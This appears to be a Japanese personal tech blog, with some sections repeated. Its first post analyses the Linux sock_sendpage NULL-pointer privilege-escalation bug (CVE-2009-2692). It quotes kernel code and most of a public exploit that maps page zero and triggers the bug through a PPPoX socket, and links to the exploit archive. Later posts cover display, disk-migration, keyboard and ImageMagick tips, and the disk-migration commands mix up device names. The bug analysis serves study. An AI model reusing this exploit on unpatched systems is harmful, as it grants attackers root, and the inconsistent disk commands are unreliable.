struct socket **res, int kern)
{
/* 略 */
pf = rcu_dereference(net_families[family]);
/* 略 */
err = pf->create(sock, protocol);
/* 略 */
*res = sock /*ここでsockが返る*/
}
ここでnet_families[family]のcreateが呼ばれている。ここで今回のPPPOXのcreateを見ると、
/** drivers/net/pppox.c **/
static int pppox_create(struct socket *sock, int protocol)
{
int rc = -EPROTOTYPE;
/* 略 */
if (!pppox_protos[protocol] ||
!try_module_get(pppox_protos[protocol]->owner))
goto out;
rc = pppox_protos[protocol]->create(sock); /* 今回socketの引数のprotocol = 0 */
module_put(pppox_protos[protocol]->owner);
out:
return rc;
}
このpppox_protos[protocol]っていうのはプロトコルファミリの中の実際のプロトコル。今回はpppoe。
以下のファイルでregisterしてる。
/** drivers/net/pppoe.c **/
static int __init pppoe_init(void)
{
int err;
err = proto_register(&pppoe_sk_proto, 0);
/* 略 */
err = register_pppox_proto(PX_PROTO_OE, &pppoe_proto); /* if_pppox.hに #define PX_PROTO_OE = 0 */
/* ここでpppox_protos[0]に&pppoe_protoをregisterされてる。 */
/* 略 */
}
static int pppoe_create(struct socket *sock)
{
struct sock *sk;
sk = sk_alloc(net, PF_PPPOX, GFP_KERNEL, &pppoe_sk_proto);
if (!sk)
return -ENOMEM;
sock_init_data(sock, sk);
sock->state = SS_UNCONNECTED;
sock->ops = &pppoe_ops; /* sock->opsにpppoe_opsがセット */
/* 略 */
}
そのpppoe_opsとは
/** /drivers/net/pppoe.c **/
static const struct proto_ops pppoe_ops = {
.family = AF_PPPOX,
.owner = THIS_MODULE,
.release = pppoe_release,
.bind = sock_no_bind,
.connect = pppoe_connect,
.socketpair = sock_no_socketpair,
.accept = sock_no_accept,
.getname = pppoe_getname,
.poll = datagram_poll,
.listen = sock_no_listen,
.shutdown = sock_no_shutdown,
.setsockopt = sock_no_setsockopt,
.getsockopt = sock_no_getsockopt,
.sendmsg = pppoe_sendmsg,
.recvmsg = pppoe_recvmsg,
.mmap = sock_no_mmap,
.ioctl = pppox_ioctl, /* .sendpageがない！ */
};
sock->ops->sendpageは、設定されてないので、NULLであった。
こうして冒頭のsock_sendpage内でNULLを呼ばれるわけである。
HT-03AでAndroid 1.5からrootを取るのはこのBugを利用したExploitであったとのこと。
今さらだが気になったのでどんなBugだったのか調べてみた。
まず、今回のexploitのもととなるsock_sendpage()関数。ここの
sock->ops->sendpageがNULLになっている、というのが今回のバグのもと。
通常ならif(!sock->ops->sendpage)とかでチェックしてエラーするべき、という所か。
見てみるカーネルだが、カーネルは2.6.30.4を見た。2.6.30.5からこのBugに対する対策が取られている。
まず、問題となっているsock_sendpageを見てみる。
/** net/socket.c **/
static ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
}
今回はこのsendpageがNULLを参照している、という事を利用しNULLに実効させるコードを置いておく、という手法らしい。
ある種のsocketに対しsendpageさせる、というのが今回のrootへの道か。
さっそくcve 2009 2692 exploitとググって出てきたexploit
http://www.frasunek.com/proto_ops.tgz
を見てみることにした。
通常はこんなことはできないようになっているが。。exploitを見てみる。
ファイルは3つ。run.cとexploit.cがあり、run.shでrun.cを実効している。
run.cはこれだけ。
/** exploit/runc. **/
int main(void) {
if (personality(PER_SVR4) < 0) {
perror("personality");
return -1;
}
fprintf(stderr, "padlina z lublina!\n");
execl("./exploit", "exploit", 0);
}
personalityって何?という事でmanを見てみると、
Linux は、プロセス毎の異なる実行ドメイン、すなわち パーソナリティ (personality) をサポートしている。
実行ドメインは Linux にシグナル番号にどのシグナルを割り付けるかを 教えたりする。
また、実行ドメイン・システムにより、 Linux は他の Unix 風のオペレーティング・システムでコンパイルされた バイナリに対する限定的なサポートを提供している。
らしい。
つまりrun.cはexploitのパーソナリティをSVR4にすることが目的。
で、肝心のexploit.c。
まずはmainから。
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
perror("mprotect");
return -1;
}
}
*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。
if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
perror("mkstemp");
return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}
unlink(template); //作ったファイルネームを削除。
ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}
空のファイルからPPPOEのソケットにsendfile。これが巡りに巡ってsock_sendpageを呼ぶのだろう。
その過程を見てみる。
まず、ユーザ空間でsendfile()すると、sys_sendfileが呼ばれ、そこからdo_sendfileが呼ばれる。
/** fs/read_write.c **/
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
size_t count, loff_t max)
{
/* 略 */
retval = do_splice_direct(in_file, ppos, out_file, count, fl);
/* 略 */
}
do_sendfileは、do_splice_directを呼ぶ。ここでファイルの内容の転送がおこる。
今回の場合はin_fileは場合mkstempしたファイル、out_fileがソケット(PF_PPPOX)となっている。
以前のカーネル(ほかに手持ちだったlinux-2.6.22.3)ではdo_splice_directでなく
do_sendfileはin_file->f_op->sendfile()を呼んでいた。
この関数は通常generic_file_sendfileを指していて、
そこから呼ばれていく関数内で、do_generic_file_read() -> do_generic_mapping_readと来て、
do_generic_mapping_readの中でret = actor(desc, page, offset, nr);
actorはfile_send_actorで、file_send_actorはdesc->arg.data->f_op->sendpageを呼ぶ。
desc->arg.data = out_fileであり、
out_file->f_op->sendpage()これは、sock_attach_fd内で
file->f_op = &socket_file_ops;となっており、
socket_file_opsのsendpageはsock_sendpageである。
という流れだった。
linux-2.6.30.4ではdo_splice_directを見ると、
/** fs/splice.c **/
long do_splice_direct(struct file *in, loff_t *ppos, struct file *out,
size_t len, unsigned int flags)
{
struct splice_desc sd = {
.len = len,
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out, /* out はここ。これがsocket。*/
};
long ret;
ret = splice_direct_to_actor(in, &sd, direct_splice_actor); /* (1) */
/* 略 */
return ret;
}
splice_direct_to_actorはpipeをゲットして、
ret = do_splice_to(in, &pos, pipe, len, flags);
で書きこみ、
ret = actor(pipe, sd);
とする。
actorは(1)で渡したdirect_splice_actorのことで、
/** fs/splice.c **/
static int direct_splice_actor(struct pipe_inode_info *pipe,
struct splice_desc *sd)
{
struct file *file = sd->u.file;
return do_splice_from(pipe, file, &sd->pos, sd->total_len, sd->flags);
}
とpipeからoutに書く。で、do_splice_fromは、
/** fs/splice.c **/
static long do_splice_from(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
/* 略 */
return out->f_op->splice_write(pipe, out, ppos, len, flags);
}
とout->f_op->splice_writeを呼ぶ。
これは、sock_attach_fd内でfile->f_op = &socket_file_ops;とされており、
.splice_write = generic_splice_sendpage;である。(net/socket.c)
つまりここでgeneric_splice_sendpageが呼ばれる。
generic_splice_sendpageは、
/** fs/splice.c **/
ssize_t generic_splice_sendpage(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
return splice_from_pipe(pipe, out, ppos, len, flags, pipe_to_sendpage); /*(2)*/
}
とsplice_from_pipeをpipe_to_sendpageを渡してコール。
splice_from_pipeはdo_splice_directと良く似ていて、
/** fs/splice.c **/
ssize_t splice_from_pipe(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags,
splice_actor *actor)
{
ssize_t ret;
struct splice_desc sd = {
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out,
};
pipe_lock(pipe);
ret = __splice_from_pipe(pipe, &sd, actor);
pipe_unlock(pipe);
return ret;
}
この__splice_from_pipeがactorを使ってpipeからsdにどんどん書きこんでいく処理をする関数。
/** fs/splice.c **/
ssize_t __splice_from_pipe(struct pipe_inode_info *pipe, struct splice_desc *sd,
splice_actor *actor)
{
int ret;
splice_from_pipe_begin(sd);
do {
ret = splice_from_pipe_next(pipe, sd);
if (ret > 0)
ret = splice_from_pipe_feed(pipe, sd, actor);
} while (ret > 0);
splice_from_pipe_end(pipe, sd);
return sd->num_spliced ? sd->num_spliced : ret;
}
このsplice_from_pipe_feed内で、
ret = actor(pipe, buf, sd);
とactor(現在は(2)のpipe_to_sendpage)を呼びだす。
このpipe_to_sendpageを見ると
/** fs/splice.c **/
static int pipe_to_sendpage(struct pipe_inode_info *pipe,
struct pipe_buffer *buf, struct splice_desc *sd)
{
struct file *file = sd->u.file; /*これは書きだす先のout、つまりsocket*/
loff_t pos = sd->pos;
int ret, more;
ret = buf->ops->confirm(pipe, buf);
if (!ret) {
more = (sd->flags & SPLICE_F_MORE) || sd->len < sd->total_len;
ret = file->f_op->sendpage(file, buf->page, buf->offset, /* これがsock_sendpage */
sd->len, &pos, more);
}
return ret;
}
このfileがsocketなのでfile->f_op->sendpageは
sock_attach_fd()内でfile->f_op = &socket_file_ops;とされており、
.sendpage = sock_sendpage;である。(net/socket.c)
つまりここでsock_sendpageが呼ばれる。
という流れになっている。長かった・・・。
sock_sendpageが呼ばれる流れは以上の通りだが、sock_sendpageの中で呼ばれる
sock->ops->sendpageはどのようにNULLになっているのだろうか。
まず、socket呼びだしを見てみる。
socketを呼ぶと、次のような流れで呼ばれる。
sys_socket -> sock_create -> __sock_create
/* asmlinkage long sys_socket(int family, int type, int protocol)になる*/
SYSCALL_DEFINE3(socket, int, family, int, type, int, protocol)
{
int retval;
struct socket *sock;
/* 略 */
retval = sock_create(family, type, protocol, &sock); /* sock_createはすぐに__sock_createを呼ぶ */
/* 略 */
retval = sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
/* sock_map_fd()からsock_attach_fd()が呼ばれ、file->private_data = sockとされる。 retvalはそのfileのfd。*/
/* 略 */
return retval; /* fdが返る */
}
/** net/socket.c **/
static int __sock_create(int family, int type, int protocol,
struct socket **res, int kern)
{
/* 略 */
pf = rcu_dereference(net_families[family]);
/* 略 */
err = pf->create(sock, protocol);
/* 略 */
*res = sock /*ここでsockが返る*/
}
ここでnet_families[family]のcreateが呼ばれている。ここで今回のPPPOXのcreateを見ると、
/** drivers/net/pppox.c **/
static int pppox_create(struct socket *sock, int protocol)
{
int rc = -EPROTOTYPE;
/* 略 */
if (!pppox_protos[protocol] ||
!try_module_get(pppox_protos[protocol]->owner))
goto out;
rc = pppox_protos[protocol]->create(sock); /* 今回socketの引数のprotocol = 0 */
module_put(pppox_protos[protocol]->owner);
out:
return rc;
}
このpppox_protos[protocol]っていうのはプロトコルファミリの中の実際のプロトコル。今回はpppoe。
以下のファイルでregisterしてる。
/** drivers/net/pppoe.c **/
static int __init pppoe_init(void)
{
int err;
err = proto_register(&pppoe_sk_proto, 0);
/* 略 */
err = register_pppox_proto(PX_PROTO_OE, &pppoe_proto); /* if_pppox.hに #define PX_PROTO_OE = 0 */
/* ここでpppox_protos[0]に&pppoe_protoをregisterされてる。 */
/* 略 */
}
static int pppoe_create(struct socket *sock)
{
struct sock *sk;
sk = sk_alloc(net, PF_PPPOX, GFP_KERNEL, &pppoe_sk_proto);
if (!sk)
return -ENOMEM;
sock_init_data(sock, sk);
sock->state = SS_UNCONNECTED;
sock->ops = &pppoe_ops; /* sock->opsにpppoe_opsがセット */
/* 略 */
}
そのpppoe_opsとは
/** /drivers/net/pppoe.c **/
static const struct proto_ops pppoe_ops = {
.family = AF_PPPOX,
.owner = THIS_MODULE,
.release = pppoe_release,
.bind = sock_no_bind,
.connect = pppoe_connect,
.socketpair = sock_no_socketpair,
.accept = sock_no_accept,
.getname = pppoe_getname,
.poll = datagram_poll,
.listen = sock_no_listen,
.shutdown = sock_no_shutdown,
.setsockopt = sock_no_setsockopt,
.getsockopt = sock_no_getsockopt,
.sendmsg = pppoe_sendmsg,
.recvmsg = pppoe_recvmsg,
.mmap = sock_no_mmap,
.ioctl = pppox_ioctl, /* .sendpageがない！ */
};
sock->ops->sendpageは、設定されてないので、NULLであった。
こうして冒頭のsock_sendpage内でNULLを呼ばれるわけである。
2011/05/02
デュアルモニタ上でFlashコンテンツをフルスクリーンで見る
デュアルモニタにしてブラウザでFlashコンテンツを"Full Screen"にすると2画面にわたって表示されてしまう。
根本的な解決法はまだわかっていないが、1画面にする方法を考えてみた。
xorg.conf
Section "Screen"
Option "TwinView"
Option "TwinViewOrientation" "RightOf"
Option "TwinViewXineramaInfoOrder" "DFP-0,DFP-1"
Option "UseDisplayDevice" "DFP-0,DFP-1"
Option "MetaModes" "DFP-0: 1920x1200_60 +0+0,DFP-1: 1920x1200_60 +1920+0; DFP-0:1920x1200_60 +0+0"
TwinViewXineramaInfoOrderでスクリーンオーダーを指定して、Metamodesでモードをセミコロンで区切って列挙、
3840x1200と1920x1200を指定しておく。
$ xrandr
Screen 0: minimum 1920 x 1200, current 3840 x 1200, maximum 3840 x 1200
default connected 3840x1200+0+0 0mm x 0mm
3840x1200 50.0*
1920x1200 51.0
ここで'xrandr -s 1'とすると左のモニタのみが使用されるようになる。
ここでブラウザ上のFlashコンテンツをフルスクリーンにすれば、1画面にできる。
元のデュアルモニタに戻すときは'xrandr -s 0'とすればよい。
根本的な解決法はまだわかっていないが、1画面にする方法を考えてみた。
xorg.conf
Section "Screen"
Option "TwinView"
Option "TwinViewOrientation" "RightOf"
Option "TwinViewXineramaInfoOrder" "DFP-0,DFP-1"
Option "UseDisplayDevice" "DFP-0,DFP-1"
Option "MetaModes" "DFP-0: 1920x1200_60 +0+0,DFP-1: 1920x1200_60 +1920+0; DFP-0:1920x1200_60 +0+0"
TwinViewXineramaInfoOrderでスクリーンオーダーを指定して、Metamodesでモードをセミコロンで区切って列挙、
3840x1200と1920x1200を指定しておく。
$ xrandr
Screen 0: minimum 1920 x 1200, current 3840 x 1200, maximum 3840 x 1200
default connected 3840x1200+0+0 0mm x 0mm
3840x1200 50.0*
1920x1200 51.0
ここで'xrandr -s 1'とすると左のモニタのみが使用されるようになる。
ここでブラウザ上のFlashコンテンツをフルスクリーンにすれば、1画面にできる。
元のデュアルモニタに戻すときは'xrandr -s 0'とすればよい。
2011/04/03
linuxハードディスク載せかえ、btrfs使用。
以前使ってたディスクから環境を新しいディスクに移すことにした。手順をメモ。
新しいディスクのファイルシステムは新しいbtrfsを使用することにした。btrfsのwikiに
"Btrfs is under heavy development, but every effort is being made to keep the filesystem stable and fast. As of 2.6.31, we only plan to make forward compatible disk format changes"
ってあったし。
まずカーネルコンフィグでbtrfsにチェックを入れ、btrfs-progsをインストール。自分の環境ではバージョンは0.19だった。ディスクのパーティションテーブルはMBR(msdos)じゃなくてGUIDパーティションテーブル(gpt)にした。
gptではmsdosと違って:基本パーティション"とか"論理パーティション"とかの区別は必要ない。grubをgptのディスクで使うためにはbios_grubフラグのついた空のパーティションが必要になる。
今まで使っていたディスク:/dev/sda、これから使う新しいディスク:/dev/sdb
# parted /dev/sdb
(parted) mklabel gpt #gptパーティションを使用する。MBRにしたいときはmsdos。データは全て消える。
(parted) unit GIB #ギビバイトを使用
mkpartですきなように分ける。ファイルシステムは聞かれるが反映されない。
(parted) toggle 1 bios_grub #先頭にbios_grubフラグをつける。このパーティションは31kb以上ないといけない。
(parted) toggle 2 boot #/bootのマウントポイント。vmlinuzが入る場所
(parted) print
Number Start End Size File system Name Flags
1 1049kB 8389kB 7340kB bios_grub
2 8389kB 2147MB 2139MB ext4 boot
3 2147MB 8590MB 6442MB linux-swap(v1)
4 8590MB 81.6GB 73.0GB
5 81.6GB 90.2GB 8590MB
6 90.2GB 107GB 17.2GB
7 107GB 1000GB 893GB
(parted) quit
# mkfs.btrfs /dev/sda4 等
これを書く現時点ではgrubはbtrfsに完全には対応していないのでext4にした。
# mkfs.ext4 /dev/sda2
# mkswap /dev/sda3
ここでシステムをログオフして/dev/sdaの内容を/dev/sdbにコピー。
作業用の環境としてSystemRescueCdを使用した。btrfsにも対応してていい感じ。
/dev/sda1（/mnt/sda1）の内容を/dev/sdb1(/mnt/sdb1)にコピーする場合は
# cd /mnt/sda1
# tar cpf - ./ | tar pfxvC - /mnt/sdb1
とすればよい。tarはpオプションでパーミッションを保存してくれる。
今回は/dev/sdb4が新しい/になる。
終わったら/以下の/bootとか/tmpとか/dev、/procをマウントさせてから新しい環境の/となる場所にchroot。
/dev、procをマウントさせるには
# mount -o bind /dev /mnt/sdb4/dev
# mount -t proc none /mnt/sdb4/proc
その後
# chroot /dev/sdb4
/etc/fstabを書き換えて、/usr/src/linuxでmake && make install && make modules_installして、grub-install /dev/sdbすればOK。
BIOSでbootを/dev/sdbのディスクから行うようにすれば新しいディスクに乗り換えることができる。足りない所があったらもう一度SystemRescueCdでブートして作業。
SystemRescueCd便利だわ。
新しいディスクのファイルシステムは新しいbtrfsを使用することにした。btrfsのwikiに
"Btrfs is under heavy development, but every effort is being made to keep the filesystem stable and fast. As of 2.6.31, we only plan to make forward compatible disk format changes"
ってあったし。
まずカーネルコンフィグでbtrfsにチェックを入れ、btrfs-progsをインストール。自分の環境ではバージョンは0.19だった。ディスクのパーティションテーブルはMBR(msdos)じゃなくてGUIDパーティションテーブル(gpt)にした。
gptではmsdosと違って:基本パーティション"とか"論理パーティション"とかの区別は必要ない。grubをgptのディスクで使うためにはbios_grubフラグのついた空のパーティションが必要になる。
今まで使っていたディスク:/dev/sda、これから使う新しいディスク:/dev/sdb
# parted /dev/sdb
(parted) mklabel gpt #gptパーティションを使用する。MBRにしたいときはmsdos。データは全て消える。
(parted) unit GIB #ギビバイトを使用
mkpartですきなように分ける。ファイルシステムは聞かれるが反映されない。
(parted) toggle 1 bios_grub #先頭にbios_grubフラグをつける。このパーティションは31kb以上ないといけない。
(parted) toggle 2 boot #/bootのマウントポイント。vmlinuzが入る場所
(parted) print
Number Start End Size File system Name Flags
1 1049kB 8389kB 7340kB bios_grub
2 8389kB 2147MB 2139MB ext4 boot
3 2147MB 8590MB 6442MB linux-swap(v1)
4 8590MB 81.6GB 73.0GB
5 81.6GB 90.2GB 8590MB
6 90.2GB 107GB 17.2GB
7 107GB 1000GB 893GB
(parted) quit
# mkfs.btrfs /dev/sda4 等
これを書く現時点ではgrubはbtrfsに完全には対応していないのでext4にした。
# mkfs.ext4 /dev/sda2
# mkswap /dev/sda3
ここでシステムをログオフして/dev/sdaの内容を/dev/sdbにコピー。
作業用の環境としてSystemRescueCdを使用した。btrfsにも対応してていい感じ。
/dev/sda1（/mnt/sda1）の内容を/dev/sdb1(/mnt/sdb1)にコピーする場合は
# cd /mnt/sda1
# tar cpf - ./ | tar pfxvC - /mnt/sdb1
とすればよい。tarはpオプションでパーミッションを保存してくれる。
今回は/dev/sdb4が新しい/になる。
終わったら/以下の/bootとか/tmpとか/dev、/procをマウントさせてから新しい環境の/となる場所にchroot。
/dev、procをマウントさせるには
# mount -o bind /dev /mnt/sdb4/dev
# mount -t proc none /mnt/sdb4/proc
その後
# chroot /dev/sdb4
/etc/fstabを書き換えて、/usr/src/linuxでmake && make install && make modules_installして、grub-install /dev/sdbすればOK。
BIOSでbootを/dev/sdbのディスクから行うようにすれば新しいディスクに乗り換えることができる。足りない所があったらもう一度SystemRescueCdでブートして作業。
SystemRescueCd便利だわ。
2011/01/22
HHK Professional 2分解洗浄&組立
HHKBのProfessional 2を使っているが分解洗浄してみた。
まずキートップをはずす。スペースキーにはスプリングがついている。
無刻印モデルでもキートップの裏側に"E16"みたいな刻印があるので忘れず配置をメモしておく。自分はメモしなかったので組立時には完全に元通りにはなっていないw。
裏面のネジをはずしオープン、基盤についている沢山のネジをはずしていく。全部のネジをはずしたらそっと基盤とキーボード上面を分離。
ここでラバーカップとコイルスプリングが飛びだしてきやすいが予備はないので必ずなくさないようにする。キートップとキーボード上面は水で洗浄できるので洗剤と水で洗った。
コイルスプリングの静電容量の変化でon、offを読みとるこの形式、コイルスプリングを紛失するとそのキーは入力できなくなる。自分は一つどこに入るのかよくわからないコイルスプリングが出てしまったのでxevで一つ一つのキーを確認し、ようやく"-"のコイルスプリングがないことに気づいた。
組立はラバーカップ、コイルスプリングがずれないようにキーボード上面をそっと基盤にのせる。分解よりはるかに難易度が高かった。基盤にネジをはめて固定、キーボード裏面のネジを3つはめてクローズ。
ラバーカップがキー一つ一つで独立している部分があるのが組立が難しい理由かと思った。
キーボードがきれいになると気分がいいわ。
まずキートップをはずす。スペースキーにはスプリングがついている。
無刻印モデルでもキートップの裏側に"E16"みたいな刻印があるので忘れず配置をメモしておく。自分はメモしなかったので組立時には完全に元通りにはなっていないw。
裏面のネジをはずしオープン、基盤についている沢山のネジをはずしていく。全部のネジをはずしたらそっと基盤とキーボード上面を分離。
ここでラバーカップとコイルスプリングが飛びだしてきやすいが予備はないので必ずなくさないようにする。キートップとキーボード上面は水で洗浄できるので洗剤と水で洗った。
組立はラバーカップ、コイルスプリングがずれないようにキーボード上面をそっと基盤にのせる。分解よりはるかに難易度が高かった。基盤にネジをはめて固定、キーボード裏面のネジを3つはめてクローズ。
ラバーカップがキー一つ一つで独立している部分があるのが組立が難しい理由かと思った。
キーボードがきれいになると気分がいいわ。
2011/01/16
jpg画像をpdf化する
Imagemagickのconvertは画像フォーマットを変更したりサイズを変えたりできるコマンドだがpdf化もできる。
まずスクリーンの解像度を確認。
$ xdpyinfo | grep resolution
resolution: 96x96 dots per inch
96x96が望ましいので違う場合は変更。
convertの'-density'でdpiを設定。デフォルトは72x72っぽい。
'-resize'で画像の大きさを変更。自分の場合は1920x1200だから縦幅を960pixelsくらいにしたいと思った。
画像のサイズを変更するので'-unsharp'でシャープ化する。
-unsharp radiusxsigma{+amount}{+threshold}
radiusは (dpi / 30) * 0.2くらいがいいらしい。
sigma > 1の場合はsqrt(radius)
sigma <= 1の場合はsigma = radius
自分は(96 / 30) * 0.2なのでradius = 0.6にした。
結局
$ convert *.jpg -density 96x96 -resize x960 -unsharp 0.6x0.6+0.4+0 foo.pdf
にした。
マジ便利だわ。
登録:
投稿 (Atom)